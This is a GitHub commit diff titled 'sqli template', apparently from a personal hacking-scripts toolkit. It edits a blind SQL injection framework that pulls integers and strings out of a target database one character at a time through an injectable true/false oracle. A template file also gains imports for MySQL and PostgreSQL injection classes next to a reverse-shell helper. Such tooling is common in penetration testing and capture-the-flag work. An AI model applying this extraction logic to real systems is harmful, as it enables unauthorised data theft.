Skip to content

Commit 4b02f0b

Browse files
committed
sqli template
1 parent 5a2508e commit 4b02f0b

File tree

2 files changed

+12
-10
lines changed

2 files changed

+12
-10
lines changed

sqli.py

+11-10
Original file line numberDiff line numberDiff line change
@@ -22,24 +22,23 @@ def extract_int(self, column: str, table=None, condition=None, offset=None, verb
2222

2323
if not binary_search:
2424
cur_int = 1
25-
while self.blind_sqli(f"({query})>{cur_int}"):
25+
while self.blind_sqli(f"({query})>{cur_int}", verbose):
2626
cur_int += 1
2727

2828
return cur_int
2929
else:
3030
min_value = 1
3131
max_value = 1
3232

33-
while self.blind_sqli(f"({query})>{max_value}"):
33+
while self.blind_sqli(f"({query})>{max_value}", verbose):
3434
min_value = max_value + 1
3535
max_value = max_value * 2
3636

37-
max_value = max_value - 1
3837
while True:
3938
cur_int = (min_value + max_value) // 2
40-
if self.blind_sqli(f"({query})>{cur_int}"):
39+
if self.blind_sqli(f"({query})>{cur_int}", verbose):
4140
min_value = cur_int + 1
42-
elif self.blind_sqli(f"({query})<{cur_int}"):
41+
elif self.blind_sqli(f"({query})<{cur_int}", verbose):
4342
max_value = cur_int - 1
4443
else:
4544
return cur_int
@@ -67,7 +66,7 @@ def extract_string(self, column: str, table=None, condition=None, offset=None, m
6766
found = False
6867
query = self.build_query(f"ascii(substr({column},{len(cur_str) + 1},1))", table, condition, offset)
6968
for c in charset:
70-
if self.blind_sqli(f"({query})={ord(c)}"):
69+
if self.blind_sqli(f"({query})={ord(c)}", verbose):
7170
found = True
7271
cur_str += c
7372
if verbose:
@@ -93,20 +92,22 @@ def extract_multiple_strings(self, column: str, table=None, condition=None, verb
9392

9493
return rows
9594

95+
# Following methods need to be implemented in the exploit
9696
@abstractmethod
97-
def get_database_version(self, verbose=False):
97+
def blind_sqli(self, condition: str, verbose=False) -> bool:
9898
pass
9999

100+
# Following methods will be implemented by MySQLi, PostgreSQLi, ...
100101
@abstractmethod
101-
def get_current_user(self, verbose=False):
102+
def get_database_version(self, verbose=False):
102103
pass
103104

104105
@abstractmethod
105-
def get_current_database(self, verbose=False):
106+
def get_current_user(self, verbose=False):
106107
pass
107108

108109
@abstractmethod
109-
def blind_sqli(self, condition: str, verbose=False) -> bool:
110+
def get_current_database(self, verbose=False):
110111
pass
111112

112113
@abstractmethod

template.py

+1
Original file line numberDiff line numberDiff line change
@@ -102,6 +102,7 @@ def register(username, password):
102102
from bs4 import BeautifulSoup
103103
from hackingscripts import util, rev_shell
104104
from hackingscripts.fileserver import HttpFileServer
105+
from hackingscripts.sqli import MySQLi, PostgreSQLi
105106
from urllib3.exceptions import InsecureRequestWarning
106107
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
107108

0 commit comments

Comments
 (0)